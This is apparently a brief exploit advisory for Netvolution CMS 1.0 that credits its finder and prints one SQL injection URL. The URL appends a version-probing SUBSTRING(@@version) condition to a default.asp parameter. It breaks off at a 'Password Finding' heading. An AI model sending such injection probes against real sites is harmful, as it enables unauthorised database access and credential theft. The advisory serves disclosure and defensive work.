Netvolution CMS 1.0 - Cross-Site Scripting / SQL Injection

Found By : Ellinas aka Greek Email: [email protected] Vulnerable Product: CMS netvolution v1.0 website : www.netvolution.net , www.atcom.gr SQL Injection Version Finding: http://site/default.asp?pid=8&la=1&bpeac=2&bpenid=100%20AND%20SUBSTRING@@version,1,130=5 Password Finding:...